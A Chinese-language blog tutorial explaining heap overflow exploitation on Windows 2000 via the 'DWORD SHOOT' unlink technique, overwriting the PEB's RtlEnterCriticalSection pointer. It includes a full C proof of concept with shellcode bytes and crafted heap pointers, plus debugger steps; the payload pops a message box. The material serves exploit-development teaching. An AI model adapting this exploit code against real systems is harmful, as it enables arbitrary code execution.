利用DWORD SHOOT实现堆溢出的利用（先知收录）

原文链接：https://xz.aliyun.com/t/4009

1.0 DWORD SHOOT是什么捏？

DWORD SHOOT指能够向内存任意位置写入任意数据，1个WORD=4个bytes，即可以通过执行程序将4bytes的数据写入4bytes地址中，从而实现某种恶意操作。
是不是还不清晰咩？
emmm，通过下面这个完整的堆溢出利用例子进行理解，这个例子通过修改PEB中的同步函数指针指向达到利用的目的。
PC:win2000
工具:vc6.0，ollydbg

1.1 PEB的线程同步函数与DWORD

在每个进程的 P.E.B 中都存放着一对同步函数指针，指向 RtlEnterCriticalSection()和 RtlLeaveCriticalSection()，并且在进程退出时会被 ExitProcess()调用。如果通过DWORD SHOOT修改RtlEnterCriticalSection()或者RtlLeaveCriticalSection()（在 0x7FFDF024地址处）之一的指针指向Shellcode地址，那在进程退出时就会跳转到Shellcode位置并执行其里面的恶意代码。

1.2 堆分配原理

这儿是重点，后面利用的理解要求这一块要懂哈。
在一个堆区中，有很多堆块，可以使用堆表管理这些堆块。堆表有空表和单表两种，本文实践内容涉及空表，所以讲解它。
空表一共被分为128条，每条空表可以管理数块堆块。问题来了，那分为128条堆表的目的是什么？
目的是管理不同大小的堆块，以加快操作系统的运行。
128条空表（空闲双向链表）标识为free[0]...........free[127]。其中，在free[n]中，空闲堆块的大小为n8(byte)。然而free[0]例外，为啥呢？想一想，总有比1278(byte)大的堆块吧，他们就被此堆表管理。
所以，刚开始创建堆块后，就只有一个巨大的空闲堆块，它被free[0]管理，后续申请堆块时会从free[0]中割取小空间的堆块，当这些小堆块被释放成为空闲小堆块后就会根据大小依次存入free[1]-free[127]。会不会有点小混乱，混乱点在于众多大小相同堆块的管理。
强调一下空表（空白双向链表）的概念。每个空表其实是双向链表状的，就是说每个空表通过链表的结构管理大小一致或者类似大小的堆块们。如下图。

1.3 堆溢出原理

下图展示了一个堆表上堆块的前后向指针位置。

下图是一个堆表，里面有空闲堆快。

当申请此链表上的第二个堆块时，此堆块被取出，链表结构会执行node->后向指针->前向指针=node->前向指针，如下图。

当启用DWORD SHOOT时，第二个堆块的后向指针会被篡改指向一个地址，而且这个地址开头的前四个字节（前向指针占用4字节）即为Shellcode的首地址。如下图。

1.4 通过DWORD SHOOT修改RtlEnterCriticalSection ()

经查询得知，RtlEnterCriticalSection()的函数指针是0x7FFDF020，那思路就是在堆中通过溢出的方法覆盖下一个待分配的空闲堆的前向指针和后向指针，其中，后向指针修改为0x7FFDF020，前向指针修改为Shellcode的地址。这样，依据1.1，进程退出执行ExitProcess()时会调用0x7FFDF020处的RtlEnterCriticalSection()函数，结合1.3可知，此时0x7FFDF020处的四字节数据是Shellcode的地址，调用0x7FFDF020自然会到Shellcode代码入口处执行Shellcode啦。

1.5 动手实践

代码：

#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
"\xBB\x60\x20\xF8\x77"  //MOV EBX,77F82060 此处地址需调试得出
"\x89\x18"                //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"       
"\x30\x60\x40\x00\x20\xf0\xfd\x7f";//前四字节即为前向指针，指向Shellcode地址，此地址需调试得出；后四字节为后向指针，在此操作系统中固定不变

main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
    __asm int 3 //中断进程，调试态堆管理策略会改变堆块的原生结构，所以加上此代码，这样分配完堆会使用调试器查看进程，就会避免程序检测使用调试堆管理策略，会看到原生的堆结构。
    memcpy(h1,shellcode,0x200); //overflow,0x200=512
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    return 0;
}

此代码执行后导致的溢出是：创建堆，申请堆块h1，大小200单元，将大小为0x200的Shellcode复制至h1。注意，这个时候已申请堆块后面紧挨着空闲堆块，其前向指针和后向指针均会被Shellcode巧妙地覆盖。当从此空闲堆块申请8字节空间时，后向指针被篡改指向的原RtlEnterCriticalSection()地址会存储Shellcode的地址，DWORD SHOOT完毕。而堆溢出导致异常，进程退出时跳转到0x7FFDF020指向的地址，此地址由原 RtlEnterCriticalSection() 变为Shellcode入口地址，故执行了恶意代码。

实践方面，将vc6.0的调试选项设置为ollydbg。
编译执行后，中断，ollydbg调试器接管进程。地址0x360680就是所有堆块的起始位置，已分配堆块在前，故前面的208字节是h1堆块（其实每个堆块有8字节的头部，但在堆块数据存取的操作中是透明的，所以对它不做深究），如下图。

单步执行程序，当执行完REP...时，就完成了Shellcode的溢出赋值操作。如下图。

分析前面的参数赋值和压栈操作，可知Shellcode入口地址为0x00406030，此时复现的同志如果发现数值不是这个就源代码Shellcode对应位置赋此值。如下图。

后向指针指向的就是RtlEnterCriticalSection()的函数指针0x7FFDF020，为了防止堆溢出异常执行后Shellcode本身代码调用错误的此函数，需要在Shellcode代码中重新对此函数指针赋值，赋为正确的函数入口地址，故此处需要查看正确的入口地址。在内存中查找0x7FFDF020存储的地址，发现是0x77F82060，用它更新源代码中Shellcode的前部代码。如下图。

至此，大家都有一个适用于自己电脑的Shellcode啦，此Shellcode的功能就是当产生堆溢出时会弹框。
注释掉__asm int 3，执行代码，哈哈，成功溢出。如下图。

标签：SHOOT,x90,堆块,利用,地址,x8B,DWORD,Shellcode,指针
来源： https://www.cnblogs.com/HYWZ36/p/10386992.html